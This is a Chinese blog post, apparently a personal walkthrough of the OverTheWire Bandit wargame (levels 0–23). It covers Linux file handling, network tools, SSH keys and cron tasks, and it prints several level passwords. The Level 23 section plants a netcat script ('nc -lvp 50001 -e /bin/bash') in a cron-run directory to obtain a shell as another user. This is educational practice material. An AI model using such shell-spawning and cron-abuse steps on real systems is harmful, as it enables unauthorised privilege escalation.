0
点赞
收藏
分享

微信扫一扫

Wargames通关笔记--Bandit

素锦时年_1b00 2022-02-08 阅读 144

靶场链接:https://overthewire.org/wargames/
过程中大部分不会直接出现通关密码,有可能完结会附在文末

Level 0


游戏的开始,只需要按照主机名和端口号使用ssh链接即可

ssh bandit0@bandit.labs.overthewire.org -p 2220

然后按照提示输入密码登陆成功

Level 0 --> Level 1


题目提示下一级密码存储在readme中

cat readme

即可获得下一级登陆密码

Level 1 --> Level 2


登录bandit1用户

ssh bandit1@bandit.labs.overthewire.org -p 2220

ls发现有一个文件名为"-“的文件
直接 cat - 发现没有任何回显
原因是Linux系统参数很多是”-"开头,系统在等待输入参数
使用文件的绝对路径或者指定当前目录即可顺利读取文件中下一级密码

cat /home/bandit1/-

cat ./-

Level 2 --> Level 3


登陆bandit2用户

ssh bandit2@bandit.labs.overthewire.org -p 2220

ls显示文件名为"spaces in this filename"
直接复制文件名cat回显

cat: spaces: No such file or directory
cat: in: No such file or directory
cat: this: No such file or directory
cat: filename: No such file or directory

文件名中带空格识别为多个文件
使用tab按键补全文件名即可获取下一级密码

cat spaces\ in\ this\ filename

Level 3 --> Level 4


登陆bandit3用户
ls 发现目录 “inhere”
ls inhere发现目录中为空
Linux中以"."开头的文件和目录会隐藏
使用 ls -a inhere/发现文件‘.hidden’

cat inhere/.hidden 

获得下一级登录密码

Level 4 --> Level 5


登陆bandit4用户
ls 发现依然是目录’inhere’,目录中有10个文件
根据题目提示文件中仅有一个人类可读使用file配合通配符查看文件类型

bandit4@bandit:~/inhere$ file ./-file0*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data

只有"-file07为"文本,使用cat inhere/-file07即可获得下一级密码

Level 5 --> Level 6


登录bandit5用户
ls 仍然是“inhere”目录,目录中有很多子目录
题目提示

human-readable
1033 bytes in size
not executable

这里要使用find来根据提示内容查找文件,会使用到几个find参数

-type [bcdpflsD]
-size N[bcwkMG]
-size n : 
文件大小 是 n 单位
b 代表 512 位元组的区块
c 表示字元数
k 表示 kilo bytes
w 是二个位元组

-type c : 
文件类型是 c 的文件
d: 目录
c: 字型装置文件
b: 区块装置文件
p: 具名贮列
f: 一般文件
l: 符号连结
s: socket

根据以上内容和提示来使用find搜索

bandit5@bandit:~$ find inhere/ -type f -size 1033c
inhere/maybehere07/.file2

回显只有inhere/maybehere07/.file2符合条件

cat inhere/maybehere07/.file2

获取到下一级密码

Level 6 --> Level 7


登录bandit6用户
ls 发现什么都没有
根据题目提示

owned by user bandit7
owned by group bandit6
33 bytes in size

依然需要构建搜索条件,这里需要用到的find参数

-size N[bcwkMG]
-user NAME
-group GROUPNAME

使用find --help里我没找到有’-group’参数,但是根据’-user’猜测,验证是有的,使用

find / -user bandit7 -group bandit6 -size 33c

查找符合内容的文件,有很多报错回显应该是因为用户权限不够,其中仅有一条正常回显/var/lib/dpkg/info/bandit7.password即为要找的文件

cat /var/lib/dpkg/info/bandit7.password

获取到下一级的密码

Level 7 --> Level 8


登录bandit7用户
根据提示使用grep命令匹配"millionth"所在行

catcat data.txt |grep millionth

获取到下一级密码

Level 8 --> Level 9


登录bandit8用户
有一个存了1001条密码的文本,提示唯一出现一次的是密码
Linux知识有点不够用了,我选择用脚本完成,我把文本内容复制到了str_key.txt中

def LoadStr(url):
    text = open(url)
    key = text.read().split("\n")
    return key
    text.close()

def CompareKey(content):
    count = [0 for x in range(0, 1001)]
    for i in range(len(content)):
        for j in range(len(content)):
            # print(content[1])
            if content[i] == content[j]:
                count[i] = count[i] + 1
            else:
                j = j + 1
    return count

if __name__ == "__main__":
    key_url = "/Users/zhaohg/Downloads/str_key.txt"
    key_content = LoadStr(key_url)
    key_count = CompareKey(key_content)
    # print(key_count)
    for i in range(len(key_count)):
        if key_count[i] == 1:
            print(key_content[i])

脚本非常糙就是了。。。运行后出结果

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 9 --> Level 10


登录bandit9用户
还是一个"data.txt"文本,提示密码是人类可读的文本,附近有等号
这里我是直接用了"strings"命令配合"grep",使用

strings data.txt |grep ==

就可以看到下一级密码

Level 10 --> Level 11


登录bandit10用户
"data.txt"里是一个base64编码的文本,使用python解码

import base64
str_b64 = 'VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg=='

str_decode = base64.b64decode(str_b64)
print(str_decode)

执行后得到下一级密码

Level 11 --> Level 12


登录bandit11用户
“data.txt”里是一个rot13转换过的文本,使用tr来替换字符,把a-zA-Z字符右移13位替换

cat data.txt |tr a-zA-Z n-za-mN-ZA-M

执行就可以得到下一级密码

Level 12 --> Level 13


登录bandit12用户
“data.txt”里是一个16进制的文本
我的选择是文本丢进HexFiend里去还原文件
16进制放进去直接保存就可以
在这里插入图片描述
解压就可以看到存有下一级密码的文本

Level 13 --> Level 14


登录bandit13用户
ls看到一个ssl的私钥’sshkey.private’
用这个私钥登录到bandit14用户

ssh bandit14@localhost  -i sshkey.private

然后按照题目提示的文件位置查看bandit14用户的密码即可

bandit14@bandit:~$ cat /etc/bandit_pass/bandit14 

Level 14 --> Level 15


登录bandit14用户
按照题目提示要给‘localhost’的30000端口提交bandit14用户的密码即可
使用nc命令实现

bandit14@bandit:~$ nc localhost 30000
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!

Correct下面就是下一级的密码

Level 15 --> Level 16


登录bandit15用户
和上一级很相似,只是需要用ssl加密的方式来提交bandit15用户的密码
查了一下nc好像不支持ssl连接,但是ncat可以,使用

bandit15@bandit:~$ ncat --ssl localhost 30001
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!

同样Correct下就是下一级的密码

Level 16 --> Level 17


登录bandit16用户
提示要再31000-32000端口中找到一个正确的端口用SSL发送bandit16用户的密码,这里使用nmap

bandit16@bandit:~$ nmap localhost -p 31000-32000

Starting Nmap 7.40 ( https://nmap.org ) at 2022-02-08 08:37 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00022s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

不是很多所以可以用上一级的方法挨个试试

bandit16@bandit:~$ ncat --ssl localhost 31790
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!

最后返回的是一个ssl的私钥,这个是用来登录下一级用户的凭证

Level 17 --> Level 18


使用私钥登录bandit17用户,这里要先把上一级的私钥存到本地,我这里存为了privatekey

ssh bandit17@bandit.labs.overthewire.org -p 2220 -i privatekey 

然后登录失败,报错提示

Permissions 0644 for 'privatekey' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "privatekey": bad permissions

私钥权限可被修改是不被认可的,修改私钥的权限为400即可登录
成功登录后有两个密码文本,按照提示再.new中与.old中不一样的即为下一级用户密码,这里使用diff命令来比较两个文件

bandit17@bandit:~$ diff passwords.new passwords.old 
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
> w0Yfolrc5bwjS4qw5mq1nnQi6mF03bii

直接获得下一级用户的密码
因为我们登录是用私钥登录的,按照之前的规则,可以使用bandit17用户查看自己的密码方便使用

bandit17@bandit:~$ cat /etc/bandit_pass/bandit17
xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn

Level 18 --> Level 19


登录bandit18用户
发现登录后系统马上回断开连接,题目提示是因为修改来.bashrc,密码放在readme中
这里使用了scp命令来远程把readme复制到本地查看

root@Zhaohg-Server:~# scp -P 2220 bandit18@bandit.labs.overthewire.org:~/readme ~/
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password: 
readme                                                                                                         100%   33     0.2KB/s   00:00    

在本地查看readme文件即可获得密码

Level 19 --> Level 20


登录bandit19用户
ls发现有一个可执行的文件,发现此文件拥有bandit20的操作权限

bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)

这里就可以用这个命令直接cat下一级用户的密码了

./bandit20-do cat /etc/bandit_pass/bandit20

Level 20 --> Level 21


登录bandit20用户
依然是有一个可执行文件,按照题目是这个程序需要监听一个端口收到bandit20用户的密码即可返回下一级密码
直接建立两个连接登录bandit20用户比较方便操作
在第一个连接使用nc监听一个空闲端口

nc -l localhost -p 50001

然后在第二个连接执行给定的连接程序

./suconnect 50001

此时返回使用nc的连接输入bandit20的密码,就会返回下一级密码

nc的连接回显:
bandit20@bandit:~$ nc -l localhost -p 50001
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

suconnect的连接回显:
bandit20@bandit:~$ ./suconnect 50001
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

Level 21 --> Level 22


登录bandit21用户
题目提示是一个cron定时任务
查看定时任务的配置目录里和bandit22有关的文件

bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

发现了执行文件的路径,查看这个.sh文件的内容

bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh 
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

发现定时任务把bandit22的密码写在了/tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv中,并修改权限所有用户对这个文件是可读的
直接cat获得密码

 cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Level 22 --> Level 23


登录bandit22用户
题目和上一级非常相似,还是查看定时任务

bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

还是查看定时任务执行的内容

bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

重点是只要得到’mytarget‘的值就可以获得bandit23的密码,已知‘myname’的值是’bandit23’,所以可以直接在本地获得’mytarget‘的值

root@Zhaohg-Server:~# mytarget=$(echo I am user bandit23 | md5sum | cut -d ' ' -f 1)
root@Zhaohg-Server:~# echo $mytarget
8ca319486bfbbc3663ea0fbe81326349

然后直接按照脚本里的路径cat对应位置的密码就可以

cat /tmp/8ca319486bfbbc3663ea0fbe81326349

Level 23 --> Level 24


登录bandit23用户
题目依然是cron
按照上面两关的思路熟练的找到执行文件的位置查看内容

bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

发现bandit24目录有可写可执行权限,并且bandit23用户的文件会被定时任务执行

bandit23@bandit:~$ ls -l /var/spool/
total 12
drwxrwx-wx 83 root bandit24 4096 Feb  8 10:02 bandit24

思路就是用bandit23用户上传可执行文件至此目录里,定时任务会用bandit24权限执行,就可以cat /etc/bandit_pass/bandit24中的密码
我试了一下直接cat内容重定向到bandit23家目录权限不够,所以用了反弹shell。
首先向/var/spool/bandit24/目录里上传nc反弹shell脚本
脚本内容:

#! /bin/bash
nc -lvp 50001 -e /bin/bash

上传命令:

root@Zhaohg-Server:~# scp -P 2220 /root/catkey.sh bandit23@bandit.labs.overthewire.org:/var/spool/bandit24/catkey.sh 
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit23@bandit.labs.overthewire.org's password: 
catkey.sh                                                                                                     100%   42     0.2KB/s   00:00    

然后至bandit23里修改catkey.sh权限为777

chmod 777  /var/spool/bandit24/catkey.sh

等待一会用nc连接反弹shell的50001端口

nc localhost 50001

此时可以发现权限已经是bandit24的权限,并可以获取密码

id
uid=11024(bandit24) gid=11024(bandit24) groups=11024(bandit24)

cat /etc/bandit_pass/bandit24

Level 24 --> Level 25


待更新

举报

相关推荐

pikachu通关笔记(七)

Wargames与bash知识09

Wargames与bash知识19

upload-labs 通关笔记

XSS haozi靶场通关笔记

0 条评论